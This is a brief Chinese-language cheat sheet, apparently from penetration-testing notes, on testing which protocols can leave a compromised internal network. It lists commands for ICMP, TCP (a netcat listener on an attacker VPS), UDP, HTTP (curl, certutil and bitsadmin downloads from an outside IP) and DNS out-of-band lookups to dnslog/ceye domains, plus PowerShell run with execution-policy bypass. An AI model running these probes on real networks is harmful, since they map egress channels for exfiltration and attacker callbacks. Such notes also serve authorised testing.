内网探测协议出网
icmp探测:
第一种方法:
windows默认 ping四次 命令:ping baidu.com
linux默认无限ping 所以我们指定下4次 命令:ping -c 4 baidu.com
第二种方法:
tracert命令同样是基于icmp协议 命令:tracert baidu.com
tcp探测:
第一种方法:
vps监听:nc -l -v port
目标机:nc vps-ip port
第二种方法:
powershell -exec bypass Import-Module .\telnet.ps1 Test-PortConnectivity -Source 'localhost' -RemoteDestination '192.168.3.69' -Port 110 -Iterate -protocol TCP
udp探测:
第一种方法:
powershell -exec bypass Import-Module .\telnet.ps1 Test-PortConnectivity 'localhost' '192.168.3.69' 53 -Iterate -protocol UDP
http探测:
第一种方法:
curl 120.79.66.58
第二种方法:
certutil -urlcache -split -f http://go.w5guk1.dnslog.cn/
第三种方法:
bitsadmin /rawreturn /transfer down "http://120.79.66.58/1.gif" d:\1.txt
dns探测:
第一种方法:
windows: nslookup www.baidu.com dns.0wtpsg.ceye.io
第二种方法:
linux:dig @dns.0wtpsg.ceye.io www.baidu.com